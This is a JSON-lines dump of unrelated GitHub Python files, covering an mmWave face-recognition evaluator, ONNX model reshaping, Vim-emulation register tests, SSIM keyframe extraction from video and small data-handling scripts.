+{"seq_id":"12788953147","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\nimport tensorflow as tf\nimport numpy as np\nfrom mmwave_code.display_utils import *\nfrom mmwave_code.data_loader import DataLoader\nfrom mmwave_code.data_loader import get_points\nfrom mmwave_code.mmwave_processor import MMWaveProcessor\nfrom mmwave_code.prepare_data import create_dataset\nimport gc\nfrom model_code.basicCNN import CnnNetwork\nfrom tqdm import tqdm\n\n\nclass Evaluator:\n def __init__(self, file_names, model_params):\n self.file_names = file_names\n self.data_source_names = file_names # + [name + \"_with_mask\" for name in file_names]\n self.frame_aggregate = model_params[\"frame_aggregate\"]\n self.num_points = [500]\n self.range_fft_values = [256]\n self.model_params = model_params\n pass\n\n def generate_data(self, mm_wave_params):\n print(\"Data will be generated for the following names: \\n\")\n print(self.data_source_names)\n for name in self.data_source_names:\n for value in self.range_fft_values:\n dl = DataLoader(mm_wave_params)\n print(\"Loading & Processing Data for FFT Value: \"+str(value))\n dl.range_bins = value\n adc_data = dl.get_data(\"data/final_captures/\" + name + \"/\", \"face_scan_\" + name)\n print(\"Loaded ADC Data for \" + name)\n processor = MMWaveProcessor(dl.range_resolution, dl.doppler_resolution, range_bins=dl.range_bins,\n doppler_bins=dl.doppler_bins, angular_bins=dl.angle_bins)\n print(\"Processing Data...\")\n for i, n_points in enumerate(self.num_points):\n points = get_points(adc_data, processor, dl, aggregate=self.frame_aggregate,\n num_points=n_points)\n np.save(\"data/final_numpy/\" +\n str(value) + \"_\" + name + \"_\" + str(n_points) + \"_data.npy\", points)\n print(\"\\n\" + str(i + 1) + \" out of \" + str(len(self.num_points)) + \" completed\\n\")\n\n gc.collect()\n\n print(\"Processed!\\n\")\n\n \"\"\"\n By the end here, you have generated numpy arrays for:\n 7 Names\n Each Name generates data for:\n 3 Range FFT Values\n 3 Num of Points\n \n Therefore 7*9 = 63 Numpy Files\n Individual Models need to be trained for each subset of 7 data.\n \"\"\"\n\n pass\n\n @staticmethod\n def generate_data_set(train_names, test_names, bs=64, frame_aggregate=10, with_snr=True, mask_params=None):\n # Let this function generate only the necessary dataset for that iteration of training and testing.\n label_list = [i for i in range(len(train_names))]\n tr_data, val_data, test_data = create_dataset(train_names,\n label_list, batch_size=bs,\n aggregate=frame_aggregate,\n classes=len(train_names), with_snr=with_snr)\n if mask_params is None:\n mask_data, _, _ = create_dataset(test_names,\n label_list, train_split=1.0, test_split=0, val_split=0,\n batch_size=bs, aggregate=frame_aggregate, classes=len(train_names),\n with_snr=with_snr)\n return tr_data, val_data, test_data, mask_data\n else:\n mask_data_tr, mask_data_val, mask_data_test = create_dataset(test_names, label_list,\n train_split=mask_params[\"train\"],\n test_split=mask_params[\"test\"],\n val_split=mask_params[\"val\"], batch_size=bs,\n aggregate=frame_aggregate,\n classes=len(train_names), with_snr=with_snr)\n return tr_data, val_data, test_data, mask_data_tr, mask_data_val, mask_data_test\n\n def evaluate_model(self, n_points, fft_value, return_confusion=False, with_snr=True, mask_params=None):\n # Initialize Model\n model_class = CnnNetwork(num_points=n_points, with_snr=with_snr)\n\n # Obtain Datasets\n train_names = [\"data/final_numpy/\" + str(fft_value) + \"_\" + name + \"_\" + str(n_points) + \"_data.npy\"\n for name in self.file_names]\n test_names = [\"data/final_numpy/\" + str(fft_value) + \"_\" + name + \"_with_mask_\" + str(n_points) + \"_data.npy\"\n for name in self.file_names]\n if mask_params is None:\n tr_data, val_data, test_data, mask_test = self.generate_data_set(train_names, test_names,\n self.model_params[\"batch_size\"],\n self.frame_aggregate,\n with_snr=with_snr)\n else:\n tr_data, val_data, test_data, \\\n mask_tr, mask_val, mask_test = self.generate_data_set(train_names, test_names,\n self.model_params[\"batch_size\"],\n self.frame_aggregate,\n with_snr=with_snr,\n mask_params=mask_params)\n tr_data = tr_data.concatenate(mask_tr)\n val_data = val_data.concatenate(mask_val)\n\n # Train Model\n model = model_class.initialize_model(classes=len(train_names))\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=self.model_params[\"learning_rate\"]),\n loss=self.model_params[\"loss_function\"], metrics=self.model_params[\"metrics\"])\n\n history = model.fit(x=tr_data, validation_data=val_data, epochs=self.model_params[\"epochs\"])\n\n np.save(\"final_model_performance/\" + str(fft_value) + \"_\" + str(n_points) + \"_model_perf\", history.history)\n title = \"Num Points: \" + str(n_points) + \" Range FFT Size: \" + str(fft_value)\n plot_history(history, title)\n\n print(\"\\n***Testing Model***\")\n test_perf = model.evaluate(test_data)\n\n print(\"\\nMASK PERFORMANCE\")\n mask_test_perf = model.evaluate(mask_test)\n\n if return_confusion:\n _, _, _, mask_test = self.generate_data_set(train_names, test_names, 1, self.frame_aggregate,\n with_snr=with_snr)\n predicted_labels = np.zeros(len(mask_test))\n true_labels = np.zeros(len(mask_test))\n i = 0\n for data_set, label_set in tqdm(mask_test):\n predicted_labels_set = model.predict(data_set)\n if predicted_labels_set.any():\n predicted_labels[i] = np.argwhere(predicted_labels_set == np.max(predicted_labels_set))[:, 1]\n true_labels[i] = np.int8(np.argwhere(label_set == 1)[:, 1])\n i += 1\n\n print(predicted_labels)\n print(true_labels)\n conf_matrix = tf.math.confusion_matrix(tf.convert_to_tensor(true_labels),\n tf.convert_to_tensor(predicted_labels), len(train_names))\n return test_perf, mask_test_perf, conf_matrix\n else:\n return test_perf, mask_test_perf\n\n def perf_monitor(self, get_c_matrix=False, with_snr=True, mask_params=None):\n for fft_value in self.range_fft_values:\n for n_point in self.num_points:\n print(\"\\nEvaluating Model for \\nRange FFT: \"+str(fft_value)+\" \\tNum Points: \"+str(n_point))\n if get_c_matrix:\n if mask_params is None:\n test_acc, mask_test_acc, conf_matrix = self.evaluate_model(n_point, fft_value,\n return_confusion=get_c_matrix,\n with_snr=with_snr)\n else:\n print(\"***\")\n print(\" Poisoning Training with \"+str(mask_params[\"train\"]*100)+\"% of Masked Data\")\n test_acc, mask_test_acc, conf_matrix = self.evaluate_model(n_point, fft_value,\n return_confusion=get_c_matrix,\n with_snr=with_snr,\n mask_params=mask_params)\n confusion_matrix(conf_matrix, name_len=len(self.file_names))\n else:\n if mask_params is None:\n test_acc, mask_test_acc = self.evaluate_model(n_point, fft_value)\n else:\n test_acc, mask_test_acc = self.evaluate_model(n_point, fft_value, mask_params=mask_params)\n\n print(\"\\n Achieved Testing Accuracy Without Mask: \" + str(test_acc[1]))\n print(\"\\n Achieved Testing Accuracy With Mask: \" + str(mask_test_acc[1]))\n\n\n\n","repo_name":"asaayush/WaveFace","sub_path":"evaluate_models.py","file_name":"evaluate_models.py","file_ext":"py","file_size_in_byte":9731,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"}
+{"seq_id":"8086663859","text":"from django.core.checks import register\nfrom django.template.loader import get_template, TemplateDoesNotExist\n\n\n@register('cms')\ndef check_cms_configuration(app_config=None, **kwargs):\n result = []\n try:\n get_template('admin:admin/base.html')\n except TemplateDoesNotExist:\n print('error!!!!!')\n return result\n","repo_name":"llango/custom-django-admin-panel","sub_path":"cms/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7484770886","text":"import onnx\nimport math\nimport os\nfrom typing import List\n\n\ndef reshape(model, n: int = 1, h: int = 480, w: int = 640, mode='auto'):\n '''\n :param model: Input ONNX model object\n :param n: Batch size dimension\n :param h: Height dimension\n :param w: Width dimension\n :param mode: Set `retinaface` to reshape RetinaFace model, otherwise reshape Centerface\n :return: ONNX model with reshaped input and outputs\n '''\n if mode == 'auto':\n # Assert that retinaface models have outputs containing word 'stride' in their names\n\n out_name = model.graph.output[0].name\n if 'stride' in out_name.lower():\n mode = 'retinaface'\n elif out_name.lower() == 'fc1':\n mode = 'arcface'\n else:\n mode = 'centerface'\n\n d = model.graph.input[0].type.tensor_type.shape.dim\n d[0].dim_value = n\n if mode != 'arcface':\n d[2].dim_value = h\n d[3].dim_value = w\n divisor = 4\n for output in model.graph.output:\n if mode == 'retinaface':\n divisor = int(output.name.split('stride')[-1])\n d = output.type.tensor_type.shape.dim\n d[0].dim_value = n\n if mode != 'arcface':\n d[2].dim_value = math.ceil(h / divisor)\n d[3].dim_value = math.ceil(w / divisor)\n return model\n\n\ndef reshape_onnx_input(onnx_path: str, out_path: str, im_size: List[int] = None, batch_size: int = 1,\n mode: str = 'auto'):\n '''\n Reshape ONNX file input and output for different image sizes. Only applicable for MXNet Retinaface models\n and official Centerface models.\n\n :param onnx_path: Path to input ONNX file\n :param out_path: Path to output ONNX file\n :param im_size: Desired output image size in W, H format. Default: [640, 480]\n :param mode: Available modes: retinaface, centerface, auto (try to detect if input model is retina- or centerface)\n :return:\n '''\n\n if im_size is None:\n im_size = [640, 480]\n\n model = onnx.load(onnx_path)\n reshaped = reshape(model, n=batch_size, h=im_size[1], w=im_size[0], mode=mode)\n\n with open(out_path, \"wb\") as file_handle:\n serialized = reshaped.SerializeToString()\n file_handle.write(serialized)\n","repo_name":"SthPhoenix/InsightFace-REST","sub_path":"scratch/converters/modules/converters/reshape_onnx.py","file_name":"reshape_onnx.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":414,"dataset":"github-code","pt":"72"}
+{"seq_id":"7168268087","text":"import csv\nimport pandas as pd\n\n# Setup the dataframe for the Set.\ndf = pd.read_csv(\"/Users/sraavanchevireddy/Downloads/netflix_titles.csv\")\nprint(df) # This will return a matrix of the dataset.\n\n# To select only few datasets.Use this key style\nmanipulatedData = pd.DataFrame(df, columns= ['show_id','type','title','country','date_added',])\n\nprint(\"This is the changed data for the selected labels\")\nprint(manipulatedData)\n\n# Get all movies in the list.\nsampleMovieSpace = pd.DataFrame(manipulatedData,columns=['type'])\n\n\n\n","repo_name":"SraavanChevireddy/PythonBasics","sub_path":"__pycache__/DecisonTree/DataLoader.py","file_name":"DataLoader.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"35259042315","text":"import glob\nimport os\nimport sys\nfrom tqdm import tqdm\nimport nibabel as nib\nimport matplotlib.pyplot as plt\n\n\ndef main(data_dir):\n images = glob.glob(os.path.join(data_dir, \"*.nii.gz\"))\n data_dict = [\n {\"image\": image}\n for image in images\n ]\n headerList = []\n total=0\n # apply transforms\n for i, data in tqdm(enumerate(data_dict)):\n image=nib.load(data[\"image\"])\n header=image.header\n headerList.append(header['pixdim'][1:4])\n if header['pixdim'][1:4][0]-1.5<0.001 and \\\n header['pixdim'][1:4][1]-1.5<0.001 and \\\n header['pixdim'][1:4][2]-1.5<0.001:\n total+=1\n plt.plot(range(len(headerList)), headerList)\n print(headerList)\n print(total)\n plt.show()\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n main(*args)","repo_name":"OliverrrD/lobe_seg_downsampled","sub_path":"distribution_pixdim.py","file_name":"distribution_pixdim.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7503183936","text":"import unittest\nimport builtins\n\nimport sublime\n\nfrom unittest import mock\nfrom Vintageous.vi import registers\nfrom Vintageous.vi.registers import Registers\nfrom Vintageous.vi.settings import SettingsManager\nfrom Vintageous.state import State\nfrom Vintageous.tests import ViewTest\n\n\nclass TestCaseRegistersConstants(unittest.TestCase):\n def testUnnamedConstantValue(self):\n self.assertEqual(registers.REG_UNNAMED, '\"')\n\n def testSmallDeleteConstantValue(self):\n self.assertEqual(registers.REG_SMALL_DELETE, '-')\n\n def testBlackHoleConstantValue(self):\n self.assertEqual(registers.REG_BLACK_HOLE, '_')\n\n def testLastInsertedTextConstantValue(self):\n self.assertEqual(registers.REG_LAST_INSERTED_TEXT, '.')\n\n def testFileNameConstantValue(self):\n self.assertEqual(registers.REG_FILE_NAME, '%')\n\n def testAltFileNameConstantValue(self):\n self.assertEqual(registers.REG_ALT_FILE_NAME, '#')\n\n def testExpressionConstantValue(self):\n self.assertEqual(registers.REG_EXPRESSION, '=')\n\n def testSysClipboard1ConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_1, '*')\n\n def testSysClipboard2ConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_2, '+')\n\n def testSysClipboardAllConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_ALL,\n (registers.REG_SYS_CLIPBOARD_1,\n registers.REG_SYS_CLIPBOARD_2,))\n\n def testValidRegisterNamesConstantValue(self):\n names = tuple(\"{0}\".format(c) for c in \"abcdefghijklmnopqrstuvwxyz\")\n self.assertEqual(registers.REG_VALID_NAMES, names)\n\n def testValidNumberNamesConstantValue(self):\n names = tuple(\"{0}\".format(c) for c in \"0123456789\")\n self.assertEqual(registers.REG_VALID_NUMBERS, names)\n\n def testSysClipboardAllConstantValue(self):\n self.assertEqual(registers.REG_SPECIAL,\n (registers.REG_UNNAMED,\n registers.REG_SMALL_DELETE,\n registers.REG_BLACK_HOLE,\n registers.REG_LAST_INSERTED_TEXT,\n registers.REG_FILE_NAME,\n registers.REG_ALT_FILE_NAME,\n registers.REG_SYS_CLIPBOARD_1,\n registers.REG_SYS_CLIPBOARD_2,))\n\n def testAllConstantValue(self):\n self.assertEqual(registers.REG_ALL,\n (registers.REG_SPECIAL +\n registers.REG_VALID_NUMBERS +\n registers.REG_VALID_NAMES))\n\n\nclass TestCaseRegisters(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n # self.regs = Registers(view=self.view,\n # settings=SettingsManager(view=self.view))\n self.regs = State(self.view).registers\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testCanInitializeClass(self):\n self.assertEqual(self.regs.view, self.view)\n self.assertTrue(getattr(self.regs, 'settings'))\n\n def testCanSetUnanmedRegister(self):\n self.regs._set_default_register([\"foo\"])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n [\"foo\"])\n\n def testSettingLongRegisterNameThrowsAssertionError(self):\n self.assertRaises(AssertionError, self.regs.set, \"aa\", \"foo\")\n\n def testSettingNonListValueThrowsAssertionError(self):\n self.assertRaises(AssertionError, self.regs.set, \"a\", \"foo\")\n\n @unittest.skip(\"Not implemented.\")\n def testUnknownRegisterNameThrowsException(self):\n # XXX Doesn't pass at the moment.\n self.assertRaises(Exception, self.regs.set, \"~\", \"foo\")\n\n def testRegisterDataIsAlwaysStoredAsString(self):\n self.regs.set('\"', [100])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n [\"100\"])\n\n def testSettingBlackHoleRegisterDoesNothing(self):\n registers._REGISTER_DATA[registers.REG_UNNAMED] = [\"bar\"]\n # In this case it doesn't matter whether we're setting a list or not,\n # because we are discarding the value anyway.\n self.regs.set(registers.REG_BLACK_HOLE, \"foo\")\n self.assertTrue(registers.REG_BLACK_HOLE not in registers._REGISTER_DATA)\n self.assertTrue(registers._REGISTER_DATA[registers.REG_UNNAMED], [\"bar\"])\n\n def testSettingExpressionRegisterDoesntPopulateUnnamedRegister(self):\n self.regs.set(\"=\", [100])\n self.assertTrue(registers.REG_UNNAMED not in registers._REGISTER_DATA)\n self.assertEqual(registers._REGISTER_DATA[registers.REG_EXPRESSION],\n [\"100\"])\n\n def testCanSetNormalRegisters(self):\n for name in registers.REG_VALID_NAMES:\n self.regs.set(name, [name])\n\n for number in registers.REG_VALID_NUMBERS:\n self.regs.set(number, [number])\n\n for name in registers.REG_VALID_NAMES:\n self.assertEqual(registers._REGISTER_DATA[name], [name])\n\n for number in registers.REG_VALID_NUMBERS:\n self.assertEqual(registers._REGISTER_DATA[number], [number])\n\n def testSettingNormalRegisterSetsUnnamedRegisterToo(self):\n self.regs.set('a', [100])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED], ['100'])\n\n self.regs.set('0', [200])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED], ['200'])\n\n def testSettingRegisterSetsClipboardIfNeeded(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n self.regs.set('a', [100])\n self.assertEqual(sublime.get_clipboard(), '100')\n\n def testCanAppendToSingleValue(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foobar'])\n\n def testCanAppendToMultipleBalancedValues(self):\n self.regs.set('a', ['foo', 'bar'])\n self.regs.append_to('A', ['fizz', 'buzz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'barbuzz'])\n\n def testCanAppendToMultipleValuesMoreExistingValues(self):\n self.regs.set('a', ['foo', 'bar'])\n self.regs.append_to('A', ['fizz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'bar'])\n\n def testCanAppendToMultipleValuesMoreNewValues(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['fizz', 'buzz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'buzz'])\n\n def testAppendingSetsDefaultRegister(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n ['foobar'])\n\n def testAppendSetsClipboardIfNeeded(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(sublime.get_clipboard(), 'foobar')\n\n def testGetDefaultToUnnamedRegister(self):\n registers._REGISTER_DATA['\"'] = ['foo']\n self.view.settings().set('vintageous_use_sys_clipboard', False)\n self.assertEqual(self.regs.get(), ['foo'])\n\n def testGettingBlackHoleRegisterReturnsNone(self):\n self.assertEqual(self.regs.get(registers.REG_BLACK_HOLE), None)\n\n def testCanGetFileNameRegister(self):\n fname = self.regs.get(registers.REG_FILE_NAME)\n self.assertEqual(fname, [self.view.file_name()])\n\n def testCanGetClipboardRegisters(self):\n self.regs.set(registers.REG_SYS_CLIPBOARD_1, ['foo'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_1), ['foo'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_2), ['foo'])\n\n self.regs.set(registers.REG_SYS_CLIPBOARD_2, ['bar'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_1), ['bar'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_2), ['bar'])\n\n def testGetSysClipboardAlwaysIfRequested(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n sublime.set_clipboard('foo')\n self.assertEqual(self.regs.get(), ['foo'])\n\n def testGettingExpressionRegisterClearsExpressionRegister(self):\n registers._REGISTER_DATA[registers.REG_EXPRESSION] = ['100']\n self.view.settings().set('vintageous_use_sys_clipboard', False)\n self.assertEqual(self.regs.get(), ['100'])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_EXPRESSION], '')\n\n def testCanGetNumberRegister(self):\n registers._REGISTER_DATA['1-9'][4] = ['foo']\n self.assertEqual(self.regs.get('5'), ['foo'])\n\n def testCanGetRegisterEvenIfRequestingItThroughACapitalLetter(self):\n registers._REGISTER_DATA['a'] = ['foo']\n self.assertEqual(self.regs.get('A'), ['foo'])\n\n def testCanGetRegistersWithDictSyntax(self):\n registers._REGISTER_DATA['a'] = ['foo']\n self.assertEqual(self.regs.get('a'), self.regs['a'])\n\n def testCanSetRegistersWithDictSyntax(self):\n self.regs['a'] = ['100']\n self.assertEqual(self.regs['a'], ['100'])\n\n def testCanAppendToRegisteWithDictSyntax(self):\n self.regs['a'] = ['100']\n self.regs['A'] = ['100']\n self.assertEqual(self.regs['a'], ['100100'])\n\n def testCanConvertToDict(self):\n self.regs['a'] = ['100']\n self.regs['b'] = ['200']\n values = {name: self.regs.get(name) for name in registers.REG_ALL}\n values.update({'a': ['100'], 'b': ['200']})\n self.assertEqual(self.regs.to_dict(), values)\n\n def testGettingEmptyRegisterReturnsNone(self):\n self.assertEqual(self.regs.get('a'), None)\n\n def testCanSetSmallDeleteRegister(self):\n self.regs[registers.REG_SMALL_DELETE] = ['foo']\n self.assertEqual(registers._REGISTER_DATA[registers.REG_SMALL_DELETE], ['foo'])\n\n def testCanGetSmallDeleteRegister(self):\n registers._REGISTER_DATA[registers.REG_SMALL_DELETE] = ['foo']\n self.assertEqual(self.regs.get(registers.REG_SMALL_DELETE), ['foo'])\n\n\nclass Test_get_selected_text(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n self.regs = State(self.view).registers\n self.regs.view = mock.Mock()\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testExtractsSubstrings(self):\n self.regs.view.sel.return_value = [10, 20, 30]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = False\n\n self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(self.regs.view.substr.call_count, 3)\n\n def testReturnsFragments(self):\n self.regs.view.sel.return_value = [10, 20, 30]\n self.regs.view.substr.side_effect = lambda x: x\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [10, 20, 30])\n\n def testCanSynthetizeNewLineAtEof(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 0\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\", \"AAA\\n\"])\n\n def testDoesntSynthetizeNewLineAtEofIfNotNeeded(self):\n self.regs.view.substr.return_value = \"AAA\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 0\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testDoesntSynthetizeNewLineAtEofIfNotAtEof(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 100\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\", \"AAA\"])\n\n def testCanYankLinewise(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testDoesNotYankLinewiseIfNonEmptyStringFollowedByNewLine(self):\n self.regs.view.substr.return_value = \"AAA\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testYankLinewiseIfEmptyStringFollowedByNewLine(self):\n self.regs.view.substr.return_value = \"\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"\\n\", \"\\n\"])\n\n def testYankLinewiseIfTwoTrailingNewLines(self):\n self.regs.view.substr.return_value = \"\\n\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"\\n\\n\\n\", \"\\n\\n\\n\"])\n\n\nclass Test_yank(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n self.regs = State(self.view).registers\n self.regs.view = mock.Mock()\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testDontYankIfWeDontHaveTo(self):\n class vi_cmd_data:\n _can_yank = False\n _populates_small_delete_register = False\n\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '1-9': [None] * 9,\n '0': None,\n })\n\n def testYanksToUnnamedRegisterIfNoRegisterNameProvided(self):\n class vi_cmd_data:\n _can_yank = True\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n register = None\n _populates_small_delete_register = False\n\n with mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n '0': ['foo'],\n '1-9': [None] * 9,\n })\n\n def testYanksToRegisters(self):\n class vi_cmd_data:\n _can_yank = True\n _populates_small_delete_register = False\n\n with mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.yank(vi_cmd_data, register='a')\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n 'a': ['foo'],\n '0': None,\n '1-9': [None] * 9,\n })\n\n def testCanPopulateSmallDeleteRegister(self):\n class vi_cmd_data:\n _can_yank = True\n _populates_small_delete_register = True\n\n with mock.patch.object(builtins, 'all') as a, \\\n mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.view.sel.return_value = range(1)\n a.return_value = True\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '\"': ['foo'],\n '-': ['foo'],\n '0': ['foo'],\n '1-9': [None] * 9})\n\n def testDoesNotPopulateSmallDeleteRegisterIfWeShouldNot(self):\n class vi_cmd_data:\n _can_yank = False\n _populates_small_delete_register = False\n\n with mock.patch.object(builtins, 'all') as a, \\\n mock.patch.object(self.regs, 'get_selected_text') as gst:\n gst.return_value = ['foo']\n self.regs.view.sel.return_value = range(1)\n a.return_value = False\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '1-9': [None] * 9,\n '0': None,\n })\n","repo_name":"guillermooo/Vintageous","sub_path":"tests/vi/test_registers.py","file_name":"test_registers.py","file_ext":"py","file_size_in_byte":17917,"program_lang":"python","lang":"en","doc_type":"code","stars":1641,"dataset":"github-code","pt":"72"}
+{"seq_id":"74632079272","text":"# Refernce: \n# https://stackoverflow.com/questions/27035672/cv-extract-differences-between-two-images\n\nimport cv2\nfrom skimage.metrics import structural_similarity as ssim\nimport sys\nimport os\n\nif len(sys.argv) >= 2:\n filename = sys.argv[1]\nelse:\n filename = 'demo'\nprint ('Hello', filename)\n\n# Create the directory\n# 'GeeksForGeeks' in\n# '/home / User / Documents'\n# directory = 'test'\nos.mkdir(filename)\nprint(\"Directory '% s' created\" % filename)\n\nvidcap = cv2.VideoCapture(filename + \".mp4\")\nsuccess,image = vidcap.read()\nscore_thresh = 0.95 # You may need to adjust this threshold\ncount = 0\n\n# Read the first frame.\nsuccess, prev_frame = vidcap.read()\nwhile success:\n success,curr_frame = vidcap.read()\n if success == False:\n break;\n # Convert images to grayscale\n pre_gray = cv2.cvtColor(prev_frame, cv2.COLOR_BGR2GRAY)\n curr_gray = cv2.cvtColor(curr_frame, cv2.COLOR_BGR2GRAY)\n # Compute SSIM between two images\n (score, diff) = ssim(pre_gray, curr_gray, full=True)\n if score < score_thresh: \n cv2.imwrite(filename + \"/\" + filename + \"_frame_%d.png\" % count, curr_frame)\n prev_frame = curr_frame\n else:\n print(\"Image similarity:\", score)\n count += 1 ","repo_name":"CarolCheng/LearnCVwithPython","sub_path":"StoreKeyFrame.py","file_name":"StoreKeyFrame.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17338840670","text":"# Prime number checker\n\ndef prime_checker(number):\n if number <= 1:\n print('Not Prime')\n is_prime = True\n for i in range(2, number):\n if number%i == 0:\n is_prime = False\n if is_prime:\n print(f'{number} is a Prime Number!')\n else:\n print(f'{number} is NOT a Prime Number!')\n\n\nnumber = int(input('Check the number: '))\n \nprime_checker(number)","repo_name":"ishuu19/Prime-checker","sub_path":"prime_checker.py","file_name":"prime_checker.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
